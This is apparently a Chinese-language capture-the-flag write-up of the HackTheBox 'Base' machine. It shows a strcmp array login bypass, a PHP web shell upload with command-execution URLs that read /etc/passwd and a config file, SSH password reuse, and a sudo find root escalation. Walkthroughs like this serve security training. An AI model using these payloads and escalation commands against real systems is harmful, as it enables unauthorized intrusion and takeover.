HackTheBox Base
0x000 信息收集
获取到ip
探测端口
nmap -sV -p- 10.129.154.64 --min-rate 5000 -o base
源码泄露
通过接下来两道问题,发现可以遍历网站的/login
目录 ,发现如下三个文件,查看前面两个,一个是登陆界面,一个无法空白页面,只有存.swp文件寻找突破口了
.swp文件是因为在编辑文件过程中,由于断电或Ctrl+Z导致退出文件编辑,从而产生的文件,所以,我们有机会从.swp文件中获取login.php的源代码
strings login.php.swp
0x001 漏洞利用
PHP strcmp 后台登陆绕过
发现login.php登陆验证是由strcmp()
参数来进行对比的,因此使用username[]=admin&password[]=admin
就可以绕过登陆。
PHP strcmp 绕过:https://www.doyler.net/security-not-included/bypassing-php-strcmp-abctf2016
使用burpsuite截包,然后改为如下,发送即可绕过登陆。
任意文件上传
发现登陆之后的页面是一个文件上传。
直接上传了一个php后门文件,发现没有被过滤,接下来就是找文件保存路径了。
目录扫描找一下文件保存路径
gobuster dir -u http://10.129.154.64/ -w /usr/share/wordlists/dirb/big.txt
查看当前权限,发现是www-data
payload:http://10.129.154.64/_uploaded/shell.php?cmd=cat /etc/passwd
查看/etc/passwd文件,发现用户john
payload:http://10.129.154.64/_uploaded/shell.php?cmd=cat%20../login/config.php
thisisagoodpassword
0x002 提权
获取john用户权限
此时猜测这个密码会不会也是john用户的密码,尝试ssh登陆一下
好家伙,还真是,成功获取john用户的权限
find提权
使用sudo -l
看看有什么惊喜,发现john用户能以root
用户的身份运行find
,此时提权这件事就变得简单了
此时,掏出祖传的网址查询提权命令即可:https://gtfobins.github.io/gtfobins/find/
sudo /usr/bin/find -exec /bin/bash -p ; -quit